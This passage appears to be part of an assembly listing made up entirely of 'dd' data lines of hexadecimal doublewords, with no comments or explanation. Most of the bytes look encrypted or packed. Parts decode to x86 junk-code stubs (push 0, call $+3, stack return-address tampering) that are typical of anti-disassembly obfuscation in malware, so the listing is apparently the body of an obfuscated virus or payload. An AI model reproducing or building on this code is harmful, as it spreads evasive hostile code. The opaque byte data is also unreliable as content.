		dd 0DA06C8ECh, 0AD2C21EAh, 75555F3Dh, 56C2B5F4h, 5F2D032Fh
		dd 0DC7C5A38h, 32792180h, 0DA1421E9h, 83C978CAh, 0DE216D63h
		dd 0DEA6656Bh, 0DA4121F3h, 7D6370ABh, 7BC0578Fh, 839D20C2h
		dd 251208D9h, 0DA0FC83Ah, 0E5C21EAh, 0BA7093B5h, 7080A0B9h
		dd 85BB3D83h, 0D7E99461h, 534927C3h, 0F325C86Fh, 743A9BECh
		dd 5FC37CEEh, 0DCAB3AB3h, 0BBD4A8BDh, 0B2A608C2h, 5DF56429h
		dd 1F0C156Bh, 0B00380FDh, 0D9E271EAh, 0FA0521EAh, 53DAE2B2h
		dd 5B4505AEh, 0C6A405AEh, 9A5021EAh, 6D10E2BAh,	9380AD6Eh
		dd 5B0FF220h, 0CDA8A62Bh, 4337DEF1h, 514708F0h,	0F3BA847Fh
		dd 2BDDA8ECh, 572E08E6h, 0F66FF36Fh, 8B0A4BECh,	0DA052202h
		dd 19DB01EAh, 0FE0DA8B3h, 0FEE4A0EEh, 0DA5035EEh, 197960EAh
		dd 0DA902E38h, 250A21EAh, 8F80A83Ah, 0F38408CDh, 0F3752467h
		dd 8325E7ECh, 995608F1h, 327B2180h, 0DA1421E9h,	81C97ACAh
		dd 0DE217D63h, 0DEA6656Bh, 0DA4121F6h, 0E26372A9h, 0AD8E8C91h
		dd 581B1298h, 32EDAA8Ch, 0DA0A21EEh, 669551C2h,	53AE6C54h
		dd 9ECA71FFh, 51AF25CEh, 0DA5021EFh, 0F8DF2A55h, 3314AAC7h
		dd 0DA0A21E5h, 0D8762D51h, 4C7318C9h, 3CB62A1Dh, 539A7864h
		dd 0BA5405AEh, 6F77728Ah, 517240BAh, 0B0524025h, 0D9ED76EAh
		dd 0FA8221EAh, 531EE2B5h, 5BA40596h, 0CF5405AEh, 9D2821EAh
		dd 0FA42E2BDh, 0C0939415h, 0DA6F27C3h, 0DA81C9BAh, 826121EAh
		dd 9E297929h, 9ED125CEh, 0DA3525CEh, 8A5421EAh,	18185029h
		dd 0F908C5EBh, 5BEE3718h, 0FC98D71Bh, 825ACAFh,	0B0560D91h
		dd 0D9C073EAh, 0FA1421EAh, 5350E2B0h, 5B0105BEh, 0CD8605AEh
		dd 984121EAh, 7740E2B8h, 8A30DACFh, 0DA28A9E5h,	0BB4F21EAh
		dd 0DA60F115h, 0DA06C9BFh, 87A221EAh, 0B6C87C29h, 9E2125CEh
		dd 0DA4C25CEh, 8F6D21EAh, 0FC37C029h, 395AA1FFh, 472CA338h
		dd 0DCAB3C57h, 0F034A463h, 0DACA27C3h, 0DA53C9BDh, 850821EAh
		dd 0A69D7E29h, 9E8B25CEh, 0DA1E25CEh, 8DC521EAh, 98E24629h
		dd 608A5930h, 7CD5ACA6h, 0B02E0D2Ah, 0D9FC77EAh, 0FA0A21EAh
		dd 535BE2B4h, 5B86059Eh, 0C04505AEh, 9CA021EAh,	0C8BAE2BCh
		dd 0A6A36E47h, 0DA1FC83Dh, 0F80521EAh, 89D4F930h, 90054EFh
		dd 8CF87177h, 539BC63Fh, 0DA3A05EEh, 0DA2BC9BBh, 833421EAh
		dd 96837829h, 9E8425CEh, 0DA9725CEh, 8B0021EAh,	6F82B829h
		dd 4FAFD817h, 0DC01350Bh, 0C9F5BC63h, 28127C3h,	32522180h
		dd 0DA8221E9h, 85827ECAh, 0DE845D63h, 0DE74656Bh, 0DA2821FCh
		dd 0AED776ADh, 678373E1h, 0DC2C0927h, 1A18A467h, 0DA2B27C6h
		dd 0DAA3C9BBh, 837021EAh, 96A17829h, 9E9525CEh,	0DA1E25CEh
		dd 8B4421EAh, 57A1FE29h, 0DC682BAFh, 0FEA4A8BAh, 32012180h
		dd 0DA2821E9h, 83D778CAh, 0DE2E6D63h, 0DE21656Bh, 0DA8221F1h
		dd 618270ABh, 0B0392625h, 53F9E2D2h, 0F32F085Fh, 0C69D71ECh
		dd 880A4BCEh, 0DA052202h, 19D801EAh, 0FE15A8B0h, 0FEE4A0EEh
		dd 0DA5037EEh, 197A63EAh, 0BCDFF08Ah, 25423453h, 0F325347Fh
		dd 0EF3728ECh, 534708EDh, 0F3AE806Fh, 9FE5A8ECh, 512E08D9h
		dd 0F3244C5Fh, 9B8FE6ECh, 0D50308C2h, 0B08221EAh, 0D9A977EAh
		dd 0FAA021EAh, 530EE2B4h, 5B2C059Eh, 0CF1005AEh, 9C0A21EAh
		dd 6724E2BCh, 0DDABB4C3h, 47C827C3h, 0DC89044Fh, 0D4F1B415h
		dd 0DA4227C3h, 0DA17C9BAh, 822A21EAh, 9E8C7929h, 9E0325CEh
		dd 0DA5825CEh, 8AE021EAh, 0D6158129h, 0BAA0393Fh, 0B1D2F76Bh
		dd 0CAE23650h, 0D10521EAh, 0B8EA2961h, 0F7B2167Eh, 0CF8BD0BEh
		dd 51E0AA19h, 0F307E47Fh, 53757FECh, 0F30A186Fh, 5F8EDDECh
		dd 0DCAB28CFh, 9EDBC67h, 992927C6h, 0E3EDACEBh,	572E08FEh
		dd 0F6C7A75Fh, 0DA3998ECh, 7EF621EAh, 0DA3A1201h, 0D14121EAh
		dd 18A3552Ah, 9EDB21F2h, 327B2DCEh, 0DA1421EAh,	0CDC9A0B1h
		dd 530521EAh, 539205B6h, 815505AEh, 7B001652h, 51B0DEEAh
		dd 252C05AEh, 4B81AA0Ah, 0BC0C08D9h, 0DA6FD361h, 0DA81C9B8h
		dd 806121EAh, 8E297B29h, 9ED125CEh, 0DA3225CEh,	885621EAh
		dd 0E20BAF29h, 0C70D27CAh, 0B96B9B8Ch, 0BC20EE60h, 5BC6DA61h
		dd 57F27424h, 0F6E8BB57h, 0D599ACECh, 620C0D3Eh, 42238ADFh
		dd 0CB53A4D9h, 156A27C3h, 0E9BAC82Bh, 0C3F1B7ACh, 801ACA27h
		dd 0E932F321h, 0CADA5021h, 6381EB7Ah, 83DE307Dh, 0A4F305E9h
		dd 58E9D98Bh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0F88EC355h,	0EB9789F0h
		dd 0EB7E837Eh, 7830Fh, 8B0F0000h, 1, 0C3FC61FCh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 5EC35141h, 5BC109A4h
		dd 8BF84428h, 0BD83F8C0h, 629309Dh, 83097500h, 290075BDh
		dd 19740006h, 0C08B5350h, 4B9B8h, 0A1858900h, 8D06290Dh
		dd 2BAB099Dh, 5BD3FF06h, 75BD8358h, 62900h, 53501774h
		dd 4B9B8h, 0A1858900h, 8D06290Dh, 2BA7AA9Dh, 5BD3FF06h
		dd 5E958h, 261F0000h, 0F171AE9h, 1588h,	10E900h, 89440000h
		dd 0B525BFF3h, 0CB823D0Bh, 0CBF50D4Eh, 0C08B45ABh, 0F3816660h
		dd 81669309h, 6168C1D6h, 5F576060h, 9E9h, 18E28700h, 0CC91623Fh
		dd 6161A03Ah, 0E8C18B40h, 9, 5C85619Eh,	9C89377Ah, 4D9D0961h
		dd 5E062930h, 4EBh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 160424h, 52420000h, 24CFC2C3h, 51006AF5h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 5A4BF58Dh, 0CD2151D8h, 858DB168h, 6291425h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 1C35343h, 6EE83BFDh
		dd 66E5ED98h, 8B66F88Bh, 0B86090F9h, 7575E938h,	5061D38Bh
		dd 6E9h, 57BB8300h, 90956A94h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 89C35040h, 0CDD92991h, 0ECC59E90h
		dd 2431BD8Bh, 6A0629h, 14E9h, 96711B00h, 78D93A77h, 2D63EF23h
		dd 0F1C1004h, 59816F88h, 81006ABBh, 0F89D03DEh
		dd 0F3B70F54h, 0D710858Dh, 6A062Ch, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 5E9A11C3h
		dd 0B6E4D4B0h, 9D89B318h, 62903DDh, 0DE9h, 438F4600h, 6A08CDC1h
		dd 8311E541h, 0C083263Bh, 0E800F05h, 60000000h,	9FA8C881h
		dd 0B5090378h, 6292391h, 0E950F861h, 0Eh, 0B1E9FFDFh, 3AD8ED5Dh
		dd 7A235A4h, 4891C32h, 39B58B24h, 6A062931h, 55952900h
		dd 6A062932h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0FCCCDDDh, 180h, 95FFF900h, 6290CEDh
		dd 6840Fh, 0BD8B0000h, 6291169h, 98089D8Dh, 6A062Ch, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 45E2C2C3h, 0A33CB076h, 29D3FF81h, 2930798Dh,	1585FF06h
		dd 0F06292Ah, 389h, 0F0B70F00h,	6E9E9h,	0E800h,	815D0000h
		dd 2CD71AEDh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 0BD81E368h, 6292841h, 7D0h, 173860Fh
		dd 0B58B0000h, 6292FDDh, 12799D8Bh, 6A0629h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0AA53E0C3h
		dd 95BFA3D2h, 817D8FA0h, 100E3h, 0A824BF00h, 0DB0B0082h
		dd 0CA850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 2BA6F3C3h, 11E871C0h, 7E000000h
		dd 0E41B04EEh, 3A7D584Fh, 3D205517h, 0BD12099h,	5810Fh
		dd 68BE0000h, 5E66A9D1h, 0CE9h,	6A291000h, 77A9B468h, 41D7B057h
		dd 3ABD8348h, 62CD5h, 2D840Fh, 6A0000h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0B365D2C3h
		dd 26CC7D62h, 66E9h, 8DB58B00h,	0C706290Fh, 2CD53A85h
		dd 106h, 6E900h, 570F0000h, 0AEFCF3F8h,	46E9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 95894F0Bh, 6293119h,	0D53A85C7h, 62Ch, 14E90000h, 76000000h
		dd 2E88482Ah, 0B1A956E0h, 5E67F41Dh, 0EF4A5B7Bh, 8DED99A0h
		dd 2912799Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 8A02186Fh, 28507F27h, 23813463h
		dd 0FFFFFEFFh, 2399BD09h, 66600629h, 0E081F88Bh, 791C4DDh
		dd 0DB8C6661h, 2E89B58Bh, 0C3F60629h, 51840F04h, 8B000000h
		dd 0A195FFF9h, 6A06290Eh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 5878C356h, 870F902Ch
		dd 18h,	10E8h, 9EF03700h, 5CC1D0A5h, 32622616h,	0A7419C69h
		dd 5F6160ADh, 66525050h, 0F7D9FBFh, 90585A31h, 3FCE9h
		dd 0B58B5300h, 62913CDh, 9985895Eh, 0B0062910h,	51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 0E66BB97Ah, 55006A70h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 758E8A73h, 8BB25C3Dh
		dd 0DDBD89F3h, 0E4062909h, 0CF816671h, 0B60F0988h, 55006AD8h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0A3FBE81Eh, 938AB676h, 0BD8B26ADh, 6291189h,	6BAh, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 97D27697h, 119D89CAh, 81062912h, 954291CEh, 6AC38B47h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 5A5CC356h, 24311123h, 30D3876Bh, 9898D01h
		dd 0B58B0629h, 6290841h, 0F04E8C1h, 0BD8BF1B7h,	6290E4Dh
		dd 89E2F766h, 291FC99Dh, 60D82B06h, 1E998D89h, 66570629h
		dd 5A319FBBh, 93509361h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 18h, 8DC35545h, 5387EB6Eh,	8D0Fh, 0B5FF0000h
		dd 6292841h, 2AF59D89h,	8C0F0629h, 6, 1FEDBD0Bh, 95FF0629h
		dd 6290591h, 0B0FFBF0Fh, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 70E6511Ah, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0B3C35040h, 48A8ED6Dh
		dd 0E22E1A16h, 0EE971E4h, 53000000h, 0ED90F2CDh, 319D0ADh
		dd 32EF2C12h, 0F613C34h, 23883h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 811D1FCDh
		dd 6B597FEEh, 0D8B60F6Eh, 1A59B533h, 6BA0629h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 661AC357h, 0F32E7BEh, 0C83h, 6880F00h, 8B000000h
		dd 290089B5h, 89C38B06h, 29210DB5h, 4E8C106h, 2E2E7ABFh
		dd 0E2F76634h, 68E0Fh, 0B58B0000h, 6292E79h, 0A599589h
		dd 0D82B0629h, 68F0Fh, 0EF810000h, 490D85CBh, 816658F5h
		dd 2BFFEBCEh, 92880FD8h, 6A000001h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 5BCC352h
		dd 0B5893358h, 6290A05h, 7B9h, 57006A00h, 3E8h,	0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 1C63D0D7h
		dd 8960FED0h, 291A1D9Dh, 0DE806h, 0B6DA0000h, 0CA1C5D46h
		dd 3FC40FA8h, 0BF6B8F7Eh, 0E9E4BAh, 0C183615Ah,	0FBF6600h
		dd 0FD93B79h, 11886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 81FA897Dh, 2725613Eh
		dd 0BF66B280h, 9D01346Ah, 6292FA5h, 6AD98C66h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0E41C351h, 184D8D09h, 0BE660629h, 0C1F62F8Eh, 77840F04h
		dd 0E9000000h, 12h, 0AFB8943Dh,	4432489h, 8B1488DEh, 0FCE1F583h
		dd 95FF1234h, 6290EA1h,	0CA88BF66h, 53006A5Bh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 71FE0BA0h
		dd 68C0Fh, 0D7810000h, 37943340h, 8E0FC32Bh, 0Dh, 8E9h
		dd 0D0BC8E00h, 0EFD13CDEh, 8343D81h, 860F0000h,	0Ah, 44E9h
		dd 0ABB5BF00h, 0C08B5C03h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0AC35141h, 0E9CEAE81h, 0E8047E32h, 0Eh
		dd 44025A95h, 2E7C34D6h, 2247D36Ch, 0C781E5E2h,	6D191CB8h
		dd 8BC38B5Fh, 50006AD8h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 0C740EBF1h, 29254185h, 2E0BDD06h
		dd 51006A1Bh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0A7ABDDCCh, 14E9E7h, 99D50000h, 61953608h
		dd 0A3CC68D2h, 604404D1h, 2AE0F27Dh, 8B664872h,	81C08BF8h
		dd 292841BDh, 7D006h, 0C850F00h, 89000000h, 29133DB5h
		dd 4185FF06h, 0FF062928h, 292841B5h, 9195FF06h,	8B062905h
		dd 290F11B5h, 78B89006h, 6A123456h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 901BC356h
		dd 70A4975Ch, 0F88B6653h, 0DDBE9D8Dh, 22E9062Ch, 0BEFFFFF9h
		dd 0EB91233h, 30C9BD01h, 0C18B0629h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h
		dd 19h,	0A4C35040h, 7C867Eh, 0F78B66AEh, 14E860h, 1BA70000h
		dd 2550D279h, 0D6C8BFA0h, 6AE328D0h, 9264FAEAh,	8D8BF146h
		dd 6293471h, 0EFE3805Fh, 4EB61h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 6A85C353h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 6246C353h, 7C659512h, 132C7669h, 1021B58Bh
		dd 51BE0629h, 0E8517780h, 0Dh, 4690456Ch, 66D65607h, 41217D89h
		dd 7AE78172h, 5E04195Eh, 1425858Dh, 6A0629h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 6047B1C3h
		dd 405A6366h, 2927CEC4h, 292561BDh, 8B509006h, 0FA8B90FBh
		dd 0E960006Ah, 5, 2941C635h, 0E78166E9h, 6A61D39Bh, 75858900h
		dd 8D06290Fh, 2CE07E85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0AFE59F4Eh, 0DE819B7Ch
		dd 6F026BD9h, 81D8D89h,	0C0830629h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0EC1869D6h
		dd 0B222F7E7h, 0BE80557h, 8C000000h, 17549B1Eh,	804791FFh
		dd 0B58B2A92h, 6292025h, 77BE905Fh, 50169E10h, 6A905E53h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 555BC356h, 6A006A8Ch, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 7EC8C356h
		dd 7AC2B5C2h, 0E781285Dh, 4B76E8Bh, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 18E1F9C3h
		dd 222AB0F4h, 0ED95FF27h, 0BF06290Ch, 19952654h, 98089D8Dh
		dd 6A062Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 462D05C3h, 0FF8184DAh, 51006AD3h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 36FD0AB9h
		dd 7E95570h, 24000000h,	3AFF272h, 0FFF9BAC8h, 292A1585h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 44F8F265h, 0A6236194h, 6E9A4DBh,	0E800000Fh
		dd 0
		dd 88ED815Dh, 6A062CE0h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 47DFC357h, 5409D14Eh
		dd 9D89A53Dh, 62910D9h,	2841BD81h, 7D00629h, 860F0000h
		dd 127h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 15h,	94C35545h, 0D19D29BAh, 0F062917h, 9D8BF7B7h, 6291369h
		dd 9AFB8DBFh, 0E3817Fh,	6A000001h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0A01CC357h
		dd 8D01260Ch, 6290665h,	850FDB0Bh, 6Ch,	28E5BD8Bh, 0BD830629h
		dd 62CDE4Bh, 30840F00h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0D3E8C356h
		dd 66A0D823h, 8166F88Bh, 0E939B1C7h, 4Ch, 0C7F1BF0Fh, 2CDE4B85h
		dd 106h, 0FFE8B00h, 0C88h, 6870F00h, 31000000h,	29329D85h
		dd 26E906h, 0CE810000h,	1D1DCBA9h, 0DE4B85C7h, 62Ch, 0E9510000h
		dd 0Ch,	0D586D9E0h, 0DEF1F1DAh,	0D8849313h, 0F18B665Fh
		dd 13699D8Dh, 870F0629h, 6, 1A3DBD89h, 23810629h, 0FFFFFEFFh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 4EC35646h
		dd 66B57747h, 6ADB8Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 805476C3h, 0C9A8B459h, 8B1F0257h
		dd 291801B5h, 81666006h, 0FBCC1CFh, 288h, 61E4B200h, 0F04C3F6h
		dd 7684h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 3BF05AF3h, 0F9B5239Dh, 0FF062927h
		dd 290EA195h, 0DE816606h, 0F904A4Eh, 80h, 12E85000h, 65000000h
		dd 0A41DE1E4h, 0CB47D2C6h, 0F97900DDh, 0DD052BC1h, 0BE82Ah
		dd 36A10000h, 1FFA874Ch, 0EE5A29A0h, 0F525068h,	5F585A31h
		dd 8E9905Fh, 23000000h,	4B3686E8h, 0E9117C2Dh, 490h, 1E55B523h
		dd 0B00629h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	6FC35141h, 14E94Eh, 0D9590000h,	8FEB96DDh, 2C6EF41Eh
		dd 0E891062Bh, 326E0254h, 70E6633Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0ABC35141h,	0BF6672C8h, 0E4F58943h
		dd 53006A71h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0EB8ABE7Bh, 6B5CA403h, 0B60FEDBFh, 799D89D8h
		dd 0BA062900h, 6, 8BF2B70Fh, 0A9BF66C3h, 4E8C179h, 0F60CBF66h
		dd 1E19B533h, 0F7660629h, 50006AE2h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 13CC381Dh
		dd 53DB58Bh, 0D82B0629h, 25E9BD29h, 0FB8B0629h,	43ADBF93h
		dd 665077A9h, 8193F28Bh, 0C4EB95F7h, 41B5FF40h,	0FF062928h
		dd 29059195h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 4DB58932h, 0F062910h, 8Ch, 6A00B000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 5B4FC357h, 0E79AC0AEh, 0F1D4EBC5h, 6A70E6h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 464C47C3h, 0F0CCE1Bh, 0D8Ah,	8E900h,	285C0000h, 74245C4Fh
		dd 6060591Dh, 66DBB70Fh, 0C26EC981h, 61D88B61h,	6A71E4h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 613C0FC3h, 2DA830Fh,	6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0F61DABC3h, 0F59FB0Eh
		dd 6AD8B6h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 3C98E7C3h, 209FE34Bh, 6BA67h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 2346DDC3h, 292E91BDh, 9E906h, 0B6A70000h, 253485C9h
		dd 8B3B9A5Ch, 0EDB533C3h, 8B062906h, 2909E9BDh,	4E8C106h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 5EC35545h
		dd 0EF4A5B7Bh, 5CED99A0h, 0B58B50C2h, 62930FDh,	0E2F7665Fh
		dd 2BFAB70Fh, 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0A99D89A9h, 5806292Eh, 2E119D29h
		dd 0D82B0629h, 1E6880Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 2D2B69C3h, 0F597CCDCh
		dd 8E9h, 0ED646B00h, 4B1FCB39h,	7B944h,	6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 8D980EC3h, 0F96B140h, 8Ah, 0C18300h,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Dh, 2BC35747h, 941C479Dh
		dd 768102D9h, 0D7CE8194h, 3B630C09h, 55860FD9h,	6A000001h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 289CC351h, 4A84758Fh, 60C7A872h, 4CBD74BEh
		dd 61D18B6Dh, 6AD98C66h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0ACA9C351h,	3FBE563Fh
		dd 91F7EC08h, 3035BD8Bh, 0C1F60629h, 0EF840F04h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 93FAC356h, 0BFD2AE1Dh, 0F9B5030Ah, 0EA195FFh
		dd 6A0629h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0BB70BCC3h, 811C0242h, 0BE8F8C8h,	0DA000000h
		dd 0D0608184h, 38F88672h, 0B58B29E1h, 62911ADh,	5B1FBF5Eh
		dd 815B0298h, 0DEB498F6h, 0F60563Fh, 86h, 2B5E6100h, 0C9BD8BC3h
		dd 3D062914h, 834h, 60860Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0F850D3C3h
		dd 0F1B5095Fh, 0E9062919h, 38h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0ECC35646h,	1AEC7D42h, 10E9BCh
		dd 0D430000h, 5A401018h, 9EE5ACCFh, 57404380h, 0C08BBEC3h
		dd 0D88BC38Bh, 127985C7h, 0EB310629h, 820F1E8Ch, 6, 0C619589h
		dd 0C08B0629h, 81F8B70Fh, 292841BDh, 7D006h, 3E850F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 4311C352h, 48B0Fh, 0BF660000h
		dd 6E95BE1h, 0F8000000h, 70F745EDh, 4185FFACh, 1062928h
		dd 291F058Dh, 41B5FF06h, 0E9062928h, 8,	5A44D694h, 393F35FBh
		dd 59195FFh, 6A0629h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 4090F7C3h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 0F3C35242h,	0EDB52BBBh, 0F062910h
		dd 282h, 81FA8B00h, 0EA0E0CFh, 0D1BD8336h, 6291Eh, 0E4840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 278B58C3h, 0E90B85D6h, 7,	0DE1D8333h, 83BC9867h
		dd 2911FDBDh, 840F0006h, 0AAh, 28F0Fh, 0F08B0000h, 6840Fh
		dd 85090000h, 6290EE1h,	1ED195FFh, 6A0629h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 848B37C3h, 563E9C10h, 840FC00Bh
		dd 66h,	0EA5B58Bh, 8D8D0629h, 6294D6Bh,	0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ch, 1DC35545h, 7961CAC7h
		dd 50A3BD68h, 3145B58Bh, 5B80629h, 29000000h, 2924D1BDh
		dd 6AE1FF06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0BE74C356h, 0A272FCDh,	0BD83E09Bh
		dd 6290835h, 41840F00h,	83000006h, 2911FDBDh, 840F0006h
		dd 634h, 8D8DF88Bh, 62909A9h, 7C8401C7h, 6A44B2h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0B67AF5C3h, 5F180226h, 23448CBFh, 0F88B662Fh, 0CFCB0181h
		dd 89571499h, 290F1185h, 41C75F06h, 706B3404h, 55006ACEh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 8159D758h, 7E94DE3h,	70000000h, 0AD47D481h, 0BD8B8172h
		dd 629107Dh, 10044181h,	0F31D6D7h, 88Ch, 2810F00h, 57000000h
		dd 8B006A5Eh, 0A9858DF8h, 31062909h, 29205185h,	56529006h
		dd 8E8h, 497BC00h, 0CFB18B32h, 5F5E5E9Dh, 0BFBF5350h, 5F60898Fh
		dd 51006A90h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 94B5C47Dh, 66B2E370h, 0AE8F98Bh,	3A000000h
		dd 1951E01Fh, 0E842992h, 898D89D9h, 5E06292Ah, 83595FFh
		dd 6A0629h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 0BBC9F4C3h, 0CDF2D875h, 8D30983Bh, 2909A98Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 1C7F3A2h, 0
		dd 0BE860h, 0A2810000h,	3B28D89Bh, 3F909495h, 9D2AB9AAh
		dd 0F5B1F02h, 6061F9BFh, 2ABD858Bh, 0FFBB0629h,	6172565Bh
		dd 441C7h, 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0C7F9C356h, 50600126h,	8BF53B03h
		dd 292029B5h, 0FC00B06h, 6C84h,	53006A00h, 3E8h, 0C35B2000h
